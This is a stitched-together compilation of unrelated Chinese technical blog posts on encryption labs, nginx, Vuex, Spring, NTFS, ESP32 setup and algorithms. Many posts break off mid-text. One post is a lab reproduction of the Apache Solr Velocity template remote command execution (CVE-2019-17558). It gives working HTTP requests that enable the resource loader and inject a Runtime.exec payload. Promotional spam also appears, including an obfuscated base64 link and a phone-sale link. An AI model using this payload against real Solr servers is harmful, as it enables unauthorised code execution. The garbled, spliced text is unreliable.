信息安全技术实验:数据的加密与解密

信息安全技术实验:数据的加密与解密 一、实验目的二、实验原理三、实验环境四、实验内容和步骤 一、实验目的 通过对DES和RSA的使用和开发,加深对数据加密算法的理解,掌握对称加密和非对称加密体制的框架。提高对加密和解密原理的认识;学会使用加密和解密软件。 二、实验原理 密码体制是指实现加密和解密功能的密码方案,从密钥使用策略上,可分为对称密码体制和非对称密码体制两类。非对称密码体制也被称作公钥密码体制。它们的主要差别在于解密时所用的解密密钥能否由加密时采用的加密密钥推导出来。在DES加密过程中,采用的是一系列古典加密的算法中的置换、异或加密、代替等方法经过16轮变换后得到加密的结果,解密的过程是加密的逆过程。 RSA是一种经典的反对称加密算法,它的加密过程涉及到大数的幂指数运算。到目前为止,还没有找到一种有效的方法,能够在短时间内将一个给定的大数分解成两个素数的乘积。因而可以利用这种数学难题,设计出解密密钥和加密密钥,而且很难从解密密钥推出加密密钥。这个算法的优势在于其安全性得到了数学上的NP问题的保证,具有一定的数学基础。与传统的对称密码算法相比,RSA具有两个明显的优势,首先它为实现数字签名和认证提供了手段,而DES无法实现这一功能;另一方面,在一个具有N个节点的网络中,DES算法进行数据加密时,需要使用N(N-1)/2对密钥,而用RSA算法进行加密时,只需要N对密钥,从而大大减轻了密钥分配和管理的工作量。 三、实验环境 一台安装Windows 2000/XP的PC机,Visual C++或Win-TC开发环境。 四、实验内容和步骤 1)从服务器下载DES示例程序,并执行,输入明文、密钥、密文进行加密和解密,可以观察采用不同的密钥进行加密和解密后的结果情况(如图A.1所示),并对实现的代码进行修改和完善。 2) 从服务器下载RSA示例程序,并执行,通过生成随机数、寻找素数、最后形成密钥对,可以实现对明文和密文的加密和解密(如图A.2),比较对称加密和非对称加密在密钥上的差别,以及解密的安全性。并修改和完善基于MFC的RSA源程序,对其中存在的问题进行改进(例如,改进密码框可以实现自动填充到对应的文本框,改进代码加密解密的时候存在小bug等问题),形成一个RSA的加密/解密演示系统。 从这个实验可以看出,DES对于大规模的数据加密速度明显快于RSA,但从安全上来讲,RSA 的安全性会优于DES。 3)参考服务器上给出的RC4参考代码,设计一个界面,可以实现在该界面中对给定的明文信息用RC4算法对该明文进行加密和解密操作。 4) 从服务器上下载PGP相关程序,并阅读相关文档,参考文档的说明实现两个人之间的信息加密传输。(这部分可以选做) 图A.1 DES加密/解密示例程序 图A.2 RSA加密解密示例

vulfocus——solr远程命令执行(CVE-2019-17558)

描述 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。 复现 1.打开靶场环境 2.访问页面默认会有一个叫demo的core 3.通过访问特定url启用配置params.resource.loader.enabled,其中API路径包含刚才获取的core名称: POST /solr/demo/config HTTP/1.1 Host: 123.58.224.8:36122 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate doNotIntercept: true X-Requested-With: XMLHttpRequest Connection: close Referer: http://123.58.224.8:36122/solr/ Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1661606197; csrf_2698a4=b425a1c9; _ga=GA1.1.2104325447.1662173640; JSESSIONID=7D14C3C2E90BB2CC4C21AEA19A01C2D5 Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } 4.注入Velocity模板即可执行任意命令 POST /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 注: Velocity是一个基于Java的模板引擎,可以通过特定的语法获取在java对象的数据,填充到模板中,从而实现界面和java代码的分离

Nginx中server_name指令介绍

Nginx中server_name指令介绍 用途 根据官方文档说明,用来设置虚拟服务器,对于用IP还是请求头部中的Host字段内容设置这个指令的值,没有明确的分别。 用法 指令后跟特定域名,此时第一个域名为主域名 server_name example.com www.example.com; 指令后跟泛域名 server_name example.com *.example.com www.example.*; 特别的,example.com和*.example.com可以合并为一个,语法为 server_name .example.com; 正则表达式也可做为值,但是需要在表达式前添加~(波浪号) 例如匹配example.com 和www111.example.com server_name example.com ~^wwwd+.example.com$ 此外,正则表达式可以包含值捕获,并作为其他指令块的值 server { server_name ~^(www.)?(.+)$; location / { root /sites/$2; } } server { server_name _; location / { root /sites/default; } } $2代表取第二个括号内的值,$0代表整个被匹配到的server_name; 还可用具体变量名替换$2 server { server_name ~^(www.)?(?<domain>.+)$; location / { root /sites/$domain; } } server { server_name _; location / { root /sites/default; } } 另外可以设置空名称

vuex namespaced 命名空间

我们有时候在使用vuex模块的时候,在其中加了一个键值对为:namespaced : true export default { namespaced:true, state:{ user:{ username:"", token:"" } }, mutations:{ setUser(state,user){ state.user = user; } } } namespaced为true的作用是告诉vuex,该模块所有的state 、mutations、actions里面的东西调用时都需要加上命名空间,这个命名空间就是该模块被improt时命名的名字。 import Vue from 'vue' import Vuex from 'vuex' import login from "./modules/login" Vue.use(Vuex) export default new Vuex.Store({ modules: { login } }) login就是他的命名空间 如果使用辅助函数...mutations() ...mapMutations('login',['setUser']), mapMutations是Vuex的mutation的辅助函数,用于在组件中映射mutation内的方法,以便在该组件中直接使用mutation里的方法 (语法糖) 内部将mutation里的方法映射到该组件内,相比使用this.$store.commit('xxx')更为之方便一点。除此之外还有mapState, mapActions, 用法也类似。

谷歌浏览器无法连接到网络的解决办法

电脑可以正常上网,其他浏览器也可以打开网页,甚至谷歌浏览器换成百度搜索引擎也能正常使用,但我以前用Google引擎也是能正常使用的,问题就出现在我使用了一下vpn,然后谷歌浏览器就没法工作了,重启也没用。 网上搜了很多方法,清楚浏览器数据?没用。修改dns啥的也没用,下面这个有用,找到网络和Internet设置,点击Internet选项,找到连接那一栏,把代理服务器的勾选取消,确定,浏览器可以正常使用了。 ![在这里插入图片描述](https://img-blog.csdnimg.cn/3b2dc2ae42b84f48aabd3dccb07f7299.p

com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException异常解决方法

起因是我在tomcat导入webapps项目“woniusales.war”,在双击startup.bat方式启动tomcat,启动黑框内报错,打开localhost:8080/woniusales,发现项目未成功配置。 【严重】com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException 出现错误的原因是:电脑上的mysql版本高,而项目中的mysql-java驱动版本过低,二者不匹配。 解决步骤: 1、mysql>select version(); 查看mqsql版本,我的版本是8.0.19。 2、去官网下载对应版本的mysql-java驱动,MySQL :: Download MySQL Connector/J (Archived Versions) 然后解压文件,在webappswoniusalesWEB-INFlib文件夹下,用mysql-connector-java-8.0.19.jar替换原来的mysql-connector-java-5.xxx.jar 3、找到webapps目录下,你的项目中的db.properties文件,以记事本打开。 db_url=jdbc:mysql://localhost:3306/xxxxxx 末尾加上**&serverTimezone=UTC** db_username和db_password跟你本机数据库用户名/密码一致 db_driver改成com.mysql.cj.jdbc.Driver(mysql 5.xxx 这里的驱动类是com.mysql.jdbc.Driver) 4、重新双击startup.bat,未出错,打开localhost:8080/woniusales,项目运行成功! 最后 深知大多数初中级Java工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则近万的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前! 因此收集整理了一份《Java开发全套学习资料》送给大家,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。 小编已加密:aHR0cHM6Ly9kb2NzLnFxLmNvbS9kb2MvRFVrVm9aSGxQZUVsTlkwUnc==出于安全原因,我们把网站通过base64编码了,大家可以通过base64解码把网址获取下来。

BeanFactory与ApplicationContext的区别

BeanFactory与ApplicationContext的区别 一、BeanFactory和ApplicationContext 接口及其子类图 二、概述 BeanFactory和ApplicationContext是Spring的两大核心接口,都可以当做Spring的容器。其中ApplicationContext是BeanFactory的子接口。 BeanFactory: BeanFactory是Spring里面最底层的接口,是Ioc的核心,定义了Ioc的基本功能,包含了各种Bean的定义、加载、实例化,依赖注入和生命周期管理; ApplicationContext ApplicationContext接口作为BeanFactory的子类,除了提供BeanFactory所具有的功能外,还提供了更完整的框架功能: ①继承MessageSource,因此支持国际化 ②资源文件访问,如URL和文件(ResourceLoader) ③载入多个(有继承关系)上下文(及同时加载多个配置文件),使得每一个上下文都专注于一个特定的层次 ④提供在监听器中注册bean的事件; 三、二者区别 1.BeanFactroy采用的是延迟加载形式来注入Bean的,即只有在使用到某个Bean时(调用getBean()),才对该Bean进行加载实例化,这样,我们就不能发现一些存在的Spring的配置问题。而ApplicationContext则相反,它是在容器启动时,一次性创建了所有的Bean。这样,在容器启动时,我们就可以发现Spring中存在的配置错误。 相对于基本的BeanFactory,ApplicationContext 唯一的不足是占用内存空间。当应用程序配置Bean较多时,程序启动较慢。 BeanFacotry延迟加载,如果Bean的某一个属性没有注入,BeanFacotry加载后,直至第一次使用调用getBean方法才会抛出异常;而ApplicationContext则在初始化自身是检验,这样有利于检查所依赖属性是否注入;所以通常情况下我们选择使用 ApplicationContext。应用上下文则会在上下文启动后预载入所有的单实例Bean。通过预载入单实例bean ,确保当你需要的时候,你就不用等待,因为它们已经创建好了。 2.BeanFactory和ApplicationContext都支持BeanPostProcessor、BeanFactoryPostProcessor的使用,但两者之间的区别是:BeanFactory需要手动注册,而ApplicationContext则是自动注册。(Applicationcontext比 beanFactory 加入了一些更好使用的功能。而且 beanFactory 的许多功能需要通过编程实现而 Applicationcontext 可以通过配置实现。比如后处理 bean , Applicationcontext 直接配置在配置文件即可而 beanFactory 这要在代码中显示的写出来才可以被容器识别。 ) 3.beanFactory主要是面对与 spring 框架的基础设施,面对 spring 自己。而 Applicationcontex 主要面对与 spring 使用的开发者。基本都会使用 Applicationcontex 并非 beanFactory 。 四、总结 因此,在实际开发中,通常都选择使用 ApplicationContext,而只有在系统资源较少时,才考虑使用 BeanFactory。 最后 深知大多数初中级Java工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则近万的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前! 因此收集整理了一份《Java开发全套学习资料》送给大家,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。 小编已加密:aHR0cHM6Ly9kb2NzLnFxLmNvbS9kb2MvRFVrVm9aSGxQZUVsTlkwUnc==出于安全原因,我们把网站通过base64编码了,大家可以通过base64解码把网址获取下来。

饮冰l于 2021-02-05 15:16:54 发布 1288收藏 11分类专栏: 图 文章标签: 算法 数据挖掘 机器学习 深度学习版权图 专栏收录该内容66 篇文章 23 订阅订

前言: 本文的作者认为对于 GNN 的可解释性不足。基于此,作者在节点分类任务上提出可以通过将忽略图结构的浅层模型与两个利用标签结构中相关性的后处理方法相结合,超越或匹配最先进的 GNN 。具体如下: (i)误差相关性:传播训练数据中的残余误差以纠正测试数据中的错误信息 (ii)预测相关性:在测试集数据上进行平滑预测 作者将整个过程称为 Correct and Smooth (C&S)。其中后处理步骤是通过对早期的基于图的半监督学习方法的标准标签传播方法进行修改实现的。该方法实现了惊人的性能提升,在 OGB-Products 数据集上使用比现有方法少137倍的参数量和100倍的训练时间达到了更佳的性能。 该方法的性能突出了如何直接将标签信息合并到学习算法(正如在传统技术中所做的那样)产生简单和实质性的性能增益。同时还可以将该技术整合到大型GNN模型中,提升模型性能。 论文链接:https://arxiv.org/abs/2010.13993 github:https://github.com/CUAI/CorrectAndSmooth 0. 标签传播算法 标签传播算法(label propagation)的核心思想非常简单:相似的数据应该具有相同的label。LP算法包括两大步骤: 1)构造相似矩阵; 2)标签传播。 0.1 相似矩阵构建 LP算法是基于Graph的,因此我们需要先构建一个图。我们为所有的数据构建一个图,图的节点就是一个数据点,包含labeled和unlabeled的数据。节点 i i i 和节点 j j j 的边表示他们的相似度。这个图的构建方法有很多,这里我们假设这个图是全连接的,节点 i i i 和节点 j j j 的边权重为: w i j = e x p ( − ∣ ∣ x i − x j ∣ ∣ 2 α 2 ) (1) w_{ij}=exp(-\frac{||x_i-x_j||^2}{\alpha^2})\tag{1} wij​=exp(−α2∣∣xi​−xj​∣∣2​)(1) 其中 α \alpha α 作为超参

Linux安装Gitlab15详解

Linux安装Gitlab15详解 镜像:https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/ 官方网站:https://about.gitlab.com/ 安装所需最小配置,内存至少4G https://docs.gitlab.cn/jh/install/requirements.html 前置准备 检查一下域名解析 [root@centos120 ~]# ping baidu.com PING baidu.com (110.242.68.66) 56(84) bytes of data. 64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=1 ttl=128 time=36.9 ms 64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=2 ttl=128 time=34.3 ms 64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=3 ttl=128 time=34.2 ms ^C --- baidu.com ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2005ms rtt min/avg/max/mdev = 34.217/35.167/36.983/1.293 ms [root@centos120 ~]# 使用 yum install wget -y 的时候,输出:“Could not resolve host: mirrors.

硬盘文件系统系列专题之二 NTFS

一、NTFS概述 NTFS (New Technology File System),是 WindowsNT 环境的文件系统。新技术文件系统是Windows NT家族(如常见的Windows XP、Win7 、Win8、Win10)等的限制级专用的文件系统(操作系统所在的盘符的文件系统必须格式化为NTFS的文件系统,4096簇环境下)。NTFS取代了老式的FAT文件系统。 NTFS可以支持的分区(如果采用动态磁盘则称为卷)大小可以达到2TB。而Windows2000中的FAT32支持分区的大小最大为32GB。 当用户将硬盘的一个分区格式化成NTFS分区时,就建立了一个NTFS文件系统结构。NTFS文件系统与FAT文件系统一样,也是用簇为基本单位对磁盘空间和文件存储进行管理的。 NTFS采用了更小的簇,可以更有效率地管理磁盘空间。FAT32文件系统的情况下,分区大小在2GB~8GB时簇的大小为4KB;分区大小在8GB~16GB时簇的大小为8KB;分区大小在16GB~32GB时,簇的大小则达到了16KB。而NTFS文件系统,当分区的大小在2GB以下时,簇的大小都比相应的FAT32簇小; 当分区的大小在2GB以上时(2GB~2TB),簇的大小都为4KB。相比之下,NTFS可以比FAT32更有效地管理磁盘空间,最大限度地避免了磁盘空间的浪费。 NTFS分区也被称为NTFS卷,卷上簇的大小,又称为卷因子,其大小是用户在创建NTFS卷时确定的。和FAT文件系统一样,卷因子的大小和文件系统的性能有着非常直接的关系。当一样簇占用的空间太小时,会出现太多的磁盘碎片,这样的空间和文件访问时间上会造成浪费;而相反的当一个簇占用的空间太大时,直接造成了磁盘空间的浪费。因此,最大限度地优化系统对文件的访问速度和最大限度地减少磁盘空间的浪费是确定簇的大小的主要因素。簇的大小一定是扇区大小的整数倍,Win7/8/10系统中通常是8(n为整数),也即簇的大小都为4KB。 NTFS文件系统使用了逻辑簇号(LCN)和虚拟簇号(VCN)对卷进行管理。其中LCN是对卷的第一个簇到最后一个簇进行编号,只要知道LCN号和簇的大小以及NTFS卷在物理磁盘中的起始扇区就可以对簇进行定位,而这些信息在NTFS卷的引导扇区中可以找到,在系统底层也是用这种方法对文件的簇进行定位的。找到簇在磁盘中的物理位置的计算公式是: 每簇扇区数*簇号+卷的隐含扇区数(卷之前的扇区总数)=簇的起始绝对扇区号 而虚拟簇号则是将特定文件的簇从头到尾进行编号,这样做的原因是方便系统对文件中的数据进行引用,VCN并不要求在物理上是连续的,要确定VCN的磁盘上的定位需先将其转换为LCN。 二、NTFS文件系统结构 NTFS最基本的原则: (1)磁盘上任何对象包括目录都是一种文件,都使用文件记录进行管理。 (2)所有与文件相关的项目,包括数据都被认为是属性。 (3)属性分常驻(在记录中)和非常驻两种,非常驻的大文件夹使用B+树结构进行管理。 (4)簇是NTFS最小的基本单位,一个1字节的文件也要占用一簇的空间。 (5)流是NTFS最基本的存储单元,是文件属性和属性值的集合。 NTFS是以MFT(Master File Table,主文件表或主索引记录)为核心,将整个分区的系统文件和用户文件有机地组织起来的文件系统。 MFT文件和它的备份,位于NTFS分区中部,前后都是数据区,能更好地受到保护。与FAT系统先放文件分配表,后接数据区的做法不同。NTFS分区,大致布局如下图: DBR 引导区 用户 数据 MFT 区 用户数据 MFT 部分记录备份 用户 数据 DBR 备份 分区所有的文件,其相关的文件信息都保存在MFT中。 a, 小于1K的小文件(目录),其整个内容都保存在MFT中。 b, 大于1K的大文件(目录),只有它的起始信息保存在MFT中。 分区高级格式化成NTFS文件系统时,首先建立了一个主文件表MFT。 在MFT文件中,会预先建立16个重要的文件(MFT记录的ID编号固定为0-15)和8个保留文件(MFT记录的ID编号固定为16-23),这24个文件是被称为元文件(Metafiles)或元数据(metadata)的系统文件(具体内容见后面),NTFS文件系统将这些数据都当做文件进行管理,这些文件用户是不能访问的,它们的文件名的第一个字符都是“$”,表示该文件是隐藏的。 而用户的文件在MFT中的ID编号从24后开始排,用户每添加一个文件,ID号加1。当某文件被删除时,与之对应的MFT记录将被空出来,如果此时再添加文件,系统会优先填充ID小的空位。MFT尽量保持其物理上的连续性,可将磁盘碎片降至最低。 序号 元文件 功能 0 $MFT 主文件表本身 1 $MFTMirr 主文件表的部分镜像 2 $LogFile 日志文件 3 $Volume 卷文件 4 $AttrDef 属性定义列表

【智能优化算法-白鲸算法】基于白鲸优化算法求解多目标优化问题附matlab代码

1 内容介绍 在本文中,一种新的基于群体的元启发式算法灵感来自白鲸的行为鲸鱼,称为白鲸优化(BWO),是为了解决优化问题而提出的。三在 BWO 中建立了探索、开发和鲸落的阶段,对应于成对游泳、猎物和鲸落的行为,分别。平衡因子和概率BWO中的鲸落具有自适应性,对控制探索能力起着重要作用和剥削。此外,Levy 航班的引入是为了加强全球范围内的趋同。开发阶段。使用 30 个基准函数测试了提议的 BWO 的有效性,进行定性、定量和可扩展性分析,并将统计结果与15 种其他元启发式算法。根据结果和讨论,BWO 是一个有竞争力的算法解决单峰和多峰优化问题,BWO的总排名是比较元启发式算法中基准函数的可扩展性分析中的第一个通过弗里德曼排名检验。最后,四个工程问题展示了优点和BWO 在解决复杂的现实世界优化问题方面的潜力。 2 部分代码 %% 描述 % 1.输入的变量 'population'的大小为: [size(popuation), V+M+1] % 2.输出的变量 'chromosome_NDS_CD' 的大小为: [size(population),V+M+3] %% 参考文献: %Kalyanmoy Deb, Amrit Pratap, Sameer Agarwal, and T. Meyarivan, " A Fast and Elitist Multiobjective Genetic Algorithm: NSGA-II", %IEEE TRANSACTIONS ON EVOLUTIONARY COMPUTATION, VOL. 6, No. 2, APRIL 2002. %% 函数开始 function [chromosome_NDS_CD, front] = NDS_CD_cons(population) global V M problem_type %% 初始化结构体和变量

【web前端】相对路径和绝对路径详解

一、绝对路径 绝对路径: 绝对:真真地存在你电脑上的实际路径。比如你的window系统的C盘下有个ABC文件夹,ABC文件夹下有个file文件。那么绝对路径:C:\ABC\file 二、使用绝对路径的缺点 事实上,在编程时,很少会使用绝对路径,比如你在Window系统上写了个XX系统,需要使用“E:\book\网页布局\1.jpg”来指定背景图片的位置,在自己的计算机上使用绝对路径浏览可能会一切正常,但是将系统代码文件和背景图文件上传到Web服务器(常常是Linux系统,可能不存在C,D,E盘)上部署系统时浏览就很有可能不会显示图片了。因为上传到Web服务器上时,可能整个系统并没有放在Web服务器的E盘,有可能是D盘或H盘。甚至可能web服务器根本就没有E盘,即使放在Web服务器的E盘里,Web服务器的E盘里也不一定会存在“E:\book\网页布局\1.jpg”这个目录,因此在浏览网页时会找不到该背景图,然后不会显示图片。 三、相对路径 为了避免这种情况的发生,通常在网页系统上指定文件时,都会选择使用相对路径。所谓相对路径,就是相对于自己的目标文件位置。例如上面的例子,XX系统里引用了“1.jpg”图片,我们上传系统代码时,将XX系统代码和1.jpg放在同一个文件夹上传到web服务器,由于“1.jpg”图片相对于XX系统代码文件来说,是在同一个目录的,那么要在XX系统的代码文件里使用该1.jpg图后,只要这两个文件的相对位置没有变(也就是说还是在同一个目录内),那么无论上传到Web服务器的哪个位置,在浏览器里都能正确地显示图片。这里XX系统需要使用1.jpg时用的相对路径就为: background = " 1.jpg " 即可 再举一个例子,假设某个系统的“index..html”文件所在目录为“E:\book\网页布局\”,而“bg.jpg”图片所在目录为“E:\book\网页布局\img下”,那么“bg.jpg”图片相对于“index.html”文件来说,是在其所在目录的“img”子目录里,则引用图片的语句应该为: <body background="img/bg.jpg"> 注意:相对路径使用“/”字符作为目录的分隔字符,而绝对路径可以使用“\”或“/”字符作为目录的分隔字符。由于“img”目录是“第2章”目录下的子目录,因此在“img”前不用再加上“/”字符。 四、相对虚拟目录 有关相对路径还有一个比较特殊的表示:“相对虚拟目录”。请看下面的例子: <body background="/img/bg.jpg"> 在这个例子里,background属性的值为“/img/bg.jpg”,注意在“img”前有一个“/”字符。这个“/”代表的是虚拟目录的根目录. 假设把“E:\book\网页布局\”设为虚拟目录,那么“/img/bg.jpg”的真实路径为“E:\book\网页布局\img \bg.jpg”; 如果把“E:\book\网页布局\代码\”设为虚拟目录,那么“/img/bg.jpg”的真实路径为“E:\book\网页布局\代码\\img\bg.jpg”

天玑9000和麒麟9000 哪个好

天玑9000更好。天玑9000采用台积电4nm工艺制程、Armv9架构,CPU由1个3.05GHz超大核、3个2.85GHz大核、4个1.8GHz小核构成,GPU为Mali-G710;麒麟9000基于5nm工艺制程,由1个3.13GHz大核、3个2.54GHz中核、4个2.04GHz小核心构成,GPU为Mali-G78。 我用的手机就是活动时8折抢购的机会不容错过 http://shouji.adiannao.cn/7 1.天玑9000采用更先进的4nm工艺制程,加持“1+3+4”三丛集Armv9结构,使得其具备更强的性能和更低的功耗,辅以性能大大提升的APU 590,让天玑9000和麒麟9000拉开了不小的身位,综合性能明显优于麒麟9000。 2.天玑9000的GPU为Mali-G710;麒麟9000的GPU为Mali-G78。二者相比,Mali-G710的综合性能和Mali-G78相比有着大约20%的提升。

oi退役杂记

现在是2020年的1月22日 如果在11月比赛的时候我少写了一个部分分,可能我现在还坚持在清北学堂继续自闭,也可能草草了事为4年无果的奥赛生涯惋惜。 如果11月比赛的时候我多想到了几个题的正解,可能我现在还坚持写代码闭关深造,也可能为了一个一个新政策而苦恼而放弃。 但是事情偏偏就是很巧,我卡着分数线拿到了省一。AFO。无需选择。无可选择。 4年。从莫名其妙一无所知抱着好奇进入机房,到断断续续寥寥草草地学一些语法,再到决定参加奥赛开始明白应该努力却还是扛不住颓废;从写个淘淘摘苹果就抓耳挠腮,到面对学不会的dfs和建图,再到ac列表里已有300+道题,面对百余行的代码也压力不大;4年。很多很多人,很多很多事。 渐渐地和别人有不一样的qq群聊(暗示3000人的sdoiers和helloluogu),渐渐地和别人玩不一样的梗,渐渐地和别人有不一样的爱好和梦想。 我看着自主招生由极盛一点一点缩紧,直到强基计划 突如其来地结束了它的历史。我看着noip取消csp开始直到noip又复活。 该说什么呢?奥赛最终失去了高高在上的地位,所做的努力似乎全部缩水。 但是我不后悔。若说后悔,我也只是后悔在一个一个机房的下午打开了游戏和哔哩哔哩,而没有打开csdn和洛谷;也只是后悔在清北学堂选择了水群而不是努力听课。至于学习oi,我不会后悔。 从hello world 开始,那个对计算机一无所知的女孩儿开始领略到了算法的美丽 从oi开始我终于才找到了梦想。 afo快乐。 这不是终点,而是开始。 goodbye,oi; hello,new world。 更新于2021 11 18 没想到以这样的形式再次开始写CSDN博客。 原本没什么人看的博客已经许久未更,想来蒙了一大层灰。 退役之后就开始了新的生活,到现在oi已经忘了大半了。想起来自己还是个奥赛选手也只能是在计概课的时候。 告别oi也最终放弃了曾经梦想的计算机系,但是这也是自己的选择,毫无后悔,只是怀念。 那么就重新开始,尽全力做一个优秀的北大医学人吧。

ESP32的VScode环境搭建

本文记录ESP32的VScode的开发环境搭建主要过程和一些问题 1. 软件下载 下载地址:https://code.visualstudio.com/ 安装过程不赘述了,需要注意的是,安装时,下面的选项最好选择打勾 2.ESP-IDF的插件安装 在插件中搜索“ESP-IDF”,点击“indtall” 安装好之后选择“ADVANCED”进行配置 配置过成中,有一个路径选择的配置项 可以参考如下进行创建和配置,放在一个合适位置,同一个文件夹下放idf和tools工具 3.安装就一直安装即可,需要注意的是,期间有可能会安装失败,只要多重试,即可实现安装完成 4.安装好之后,搜索“ESP-IDF:Example”,创建/打开例程 创建时,保存工程到合适位置即可 5.之后可在VScode查看相对应的功能按钮 6.选择端口和芯片类型 7.编译 8.使用串口monitor 9.另外可以使用如下的几条命令 编译命令: idf.py build 下载命令: idf.py -p COMXXX flash 打开串口监视:idf.py -p COMXXX monitor 清除工程:idf.py fullclean 命令可以使用插件的下面这个按钮打开 10.如果遇到芯片选择错误,或者需要更改芯片型号,可以如下方式 del Env:\IDF_TARGET idf.py fullclean idf.py set-target esp32s3

单源最短路 spfa

spfa 今天终于写出来了spfa... 运用队列的思想,先把起点入队,用对首更新它能够到达的点,更新这些点到起点的伪最短路(因为可能还有更短情况)然后把得到更新的点中不在队列里的加入队列,以便更新其他点。 当前更新的是伪最短路即可能会有更优情况(比如:起点是1,1到6距离为7,加入队列dis[6]=7,而1到7距离为2,7到6距离为3,会将dis[6]更新为2+3=5。所以一遍一遍一遍一遍查,最后将会是最短路。 用于单源最短路,时间复杂度O(ke),稀疏图中k约等于2,稠密图。。。emmm还是不要用了吧 #include<iostream> #include<cstdio> #include<cstring> #include<algorithm> using namespace std; struct noid { int to; int dis; int next; }edg[510000]; int head[20001],inq[20001],dis[20001],q[5000010]; int n,m,s,num; void read(int &x) { int f=1;char s;x=0; s=getchar(); while(s<'0'||s>'9'){if(s=='-')f=-1;s=getchar();} while(s>='0'&&s<='9'){x=10*x+s-'0';s=getchar();} x=x*f; }//读入优化 void add(int x,int y,int dis) {edg[++num].dis=dis; edg[num].to=y; edg[num].next=head[x]; head[x]=num; }//前向星建图 void spfa() { int blb,cur; int he=0; int tail=1; q[tail]=s;dis[s]=0; while(he<tail) { he++; cur=q[he]; blb=head[cur];inq[cur]=0;//inq记录点是否在队列里,如果已经在,不用再进入,只更新该点的dis值;he++,对首出对后把 队首的inq记为0;用来下一次入队; while(blb!=0)//当前点的边没有全部循环到时 { if(dis[edg[blb].to]>dis[cur]+edg[blb].dis)//可以更新为更短距离 { dis[edg[blb].to]=dis[cur]+edg[blb].dis;//更新

gcd与exgcd(裴蜀定理)

gcd(欧几里得算法)与最大公因数 公式: g c d ( a , b ) = g c d ( b , a gcd(a,b)=gcd(b,a gcd(a,b)=gcd(b,a%b ) ) ) 证明: 设 a > b a>b a>b,证明 a , b a,b a,b的公因数和 b , a − b b,a-b b,a−b的公因数是同样的一堆数 首先,有结论:若 x ∣ a , x ∣ b , 那么 x ∣ ( a − b ) x|a,x|b,那么x|(a-b) x∣a,x∣b,那么x∣(a−b). 设 a a a和 b b b的公因子集合为 S 1 S1 S1, b b b 和 ( a – b ) (a – b) (a–b)的公因子集合为 S 2 S2 S2。那么,

ESP32-VScode环境搭建

写在前面: 之前看到很多小伙伴ESP32的开发环境有问题,有的头文件不能定位,有的是头文件报错等等...,接下来带大家搭建ESP32环境,我们只需要一个VScode即可!(为了演示我又重新安装一遍,我太难了😳) 1.下载VScode vscode:Visual Studio Code - Code Editing. Redefined 2.安装Vscode 安装位置自己选,最好英文路径哟😉 具体步骤: 3.安装ESP-IDF 1. 先选个主题: 2.在插件中搜索ESP-IDF 3.安装好后点击ESP-IDF插件图标,选择高级(ADVANCED) 4.创建文件夹保存下载的ESP-IDF 5.选择服务器Expressif,版本和下载的位置,然后点击install 6.IDF安装好后,继续安装tools 4.创建例程: 1.找到命令面板:查看->命令面板,输入:ESP-IDF:Example 2.我们选择一个hello_world工程,然后再点击: Create project using example hello_world 3.然后选择保存工程的地方,保存到与idf同级目录下就行 5.工具说明: 6.下面以hello_world工程为例,演示编译和下载过程: 1.在编译之前要选择端口号和芯片类型: 2.接下来编译: 3.接下来下载: 4.接下来打开串口监视 7.还可以用命令进行编译运行: 编译命令: idf.py build 下载命令: idf.py -p COMXXX flash 打开串口监视:idf.py -p COMXXX monitor 清除工程:idf.py fullclean 注意事项!!! 那如何调出ESP-IDF XXX窗口? 只需要点击下面的工具栏,如图: 哪有问题大家请留言!!! 大功告成!!! 溜了溜了😜 不要忘了点赞哟!😘😘😘

MUI-上拉刷新和下拉刷新

上(下)拉刷新代码一 <script type="text/javascript"> mui.init({ pullRefresh : { // 定义容器 container:'#refreshContainer', // 往下拉(callback:回调函数) down : { // style:'circle',//必选,下拉刷新样式,目前支持原生5+ ‘circle’ 样式 // color:'#2BD009', //可选,默认“#2BD009” 下拉刷新控件颜色 // height:'150px',//可选,默认50px.下拉刷新控件的高度, // range:'100px', //可选 默认100px,控件可下拉拖拽的范围 // offset:'0px', //可选 默认0px,下拉刷新控件的起始位置 // auto: true,//可选,默认false.首次加载自动上拉刷新一次 callback :pulldownRefresh }, // 往上拉(callback:回调函数) up : { callback :pullupRefresh } } }); // 定义下拉回调函数 function pulldownRefresh(){ alert("进行下拉数据刷新"); // 下拉刷新结束 mui('#refreshContainer').pullRefresh().endPulldownToRefresh(); } // 定义上拉回调函数 function pullupRefresh(){ alert("进行上拉数据加载"); // 下拉刷新结束 mui('#refreshContainer').pullRefresh().endPullupToRefresh(); } </script> 上(下)拉刷新代码二(刷新的同时新增一段内容)

HTML5+规范API-拍照功能

